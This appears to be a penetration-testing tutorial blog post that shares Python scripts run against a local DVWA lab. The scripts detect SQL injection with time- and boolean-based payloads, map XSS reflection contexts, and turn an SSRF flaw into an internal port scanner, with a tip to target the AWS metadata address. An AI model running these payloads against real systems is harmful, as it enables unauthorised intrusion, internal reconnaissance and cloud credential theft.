Automating OWASP Top 10 Detection with Python and Burp

Day 21/60 -- Penetration Testing Challenge

Manual testing is necessary, but automating the repetitive parts of OWASP Top 10 testing saves hours on every engagement. Today I built a few scripts during my lab marathon that I want to share.

Automated SQLi Detection Script

Before pulling out sqlmap, I run a quick detection script to confirm injection points and determine the injection type:

import requests import time import sys def detect_sqli(url, param, session_cookies=None): s = requests.Session() if session_cookies: s.cookies.update(session_cookies) baseline = s.get(url, params={param: '1'}).text baseline_len = len(baseline) tests = { 'error': "1'", 'bool_true': '1 AND 1=1', 'bool_false': '1 AND 1=2', 'time_mysql': "1' AND SLEEP(3)-- ", 'time_mssql': "1'; WAITFOR DELAY '0:0:3'--", } results = {} for name, payload in tests.items(): start = time.time() resp = s.get(url, params={param: payload}) elapsed = time.time() - start diff = abs(len(resp.text) - baseline_len) if 'time' in name and elapsed > 2.5: results[name] = f'LIKELY (delay={elapsed:.1f}s)' elif name == 'error' and ('error' in resp.text.lower() or 'sql' in resp.text.lower()): results[name] = f'ERROR DETECTED (len_diff={diff})' elif name == 'bool_true' and diff < 50: results['bool_true'] = f'Same as baseline (diff={diff})' elif name == 'bool_false' and diff > 100: results['bool_false'] = f'DIFFERENT from baseline (diff={diff})' else: results[name] = f'No indicator (diff={diff}, time={elapsed:.1f}s)' return results if __name__ == '__main__': url = sys.argv[1] if len(sys.argv) > 1 else 'http://localhost/dvwa/vulnerabilities/sqli/' for test, result in detect_sqli(url, 'id', {'security': 'low'}).items(): print(f' {test}: {result}') 

This gives you a quick read on which injection types are viable before you commit time to extraction.

XSS Context Analyzer

Instead of throwing payloads blindly, figure out where your input lands:

import requests from html.parser import HTMLParser def find_reflection_context(url, param, canary='XSS_CANARY_7291'): resp = requests.get(url, params={param: canary}) body = resp.text contexts = [] idx = 0 while True: pos = body.find(canary, idx) if pos == -1: break before = body[max(0, pos-200):pos] if '<script' in before.rsplit('<', 1)[-1:][0] if '<' in before else '': contexts.append(('javascript_string', pos)) elif before.rstrip().endswith('='): contexts.append(('attribute_value_unquoted', pos)) elif before.rstrip().endswith('"'): contexts.append(('attribute_value_doublequoted', pos)) elif before.rstrip().endswith("'"): contexts.append(('attribute_value_singlequoted', pos)) else: contexts.append(('html_body', pos)) idx = pos + len(canary) return contexts results = find_reflection_context('http://localhost/dvwa/vulnerabilities/xss_r/', 'name') for ctx, pos in results: print(f' Reflected at position {pos}: context={ctx}') 

Knowing the context tells you exactly which payload class to use. No guessing, no wasted attempts.

SSRF Port Scanner

When you find an SSRF, use it to map internal services:

import requests import concurrent.futures def ssrf_port_scan(vuln_url, param, internal_host='127.0.0.1', ports=None): if ports is None: ports = [22, 80, 443, 3306, 5432, 6379, 8080, 8443, 9200, 27017] open_ports = [] def check_port(port): ssrf_target = f'http://{internal_host}:{port}/' try: resp = requests.post(vuln_url, data={param: ssrf_target}, timeout=5) if len(resp.text) > 100 and resp.status_code == 200: return port, len(resp.text) except requests.Timeout: return port, 'timeout (possibly open)' return None with concurrent.futures.ThreadPoolExecutor(max_workers=5) as pool: futures = {pool.submit(check_port, p): p for p in ports} for future in concurrent.futures.as_completed(futures): result = future.result() if result: open_ports.append(result) print(f' Port {result[0]}: response_length={result[1]}') return open_ports 

This turns a single SSRF into a full internal port map. On AWS instances, always add 169.254.169.254 port 80 to the list for metadata.

Key Takeaways

Automation does not replace manual testing, but it handles the repetitive detection phase so you can spend your time on the creative exploitation work. These scripts are starting points -- adapt them for each engagement.

Day 21/60 of the 60 Day Penetration Testing Challenge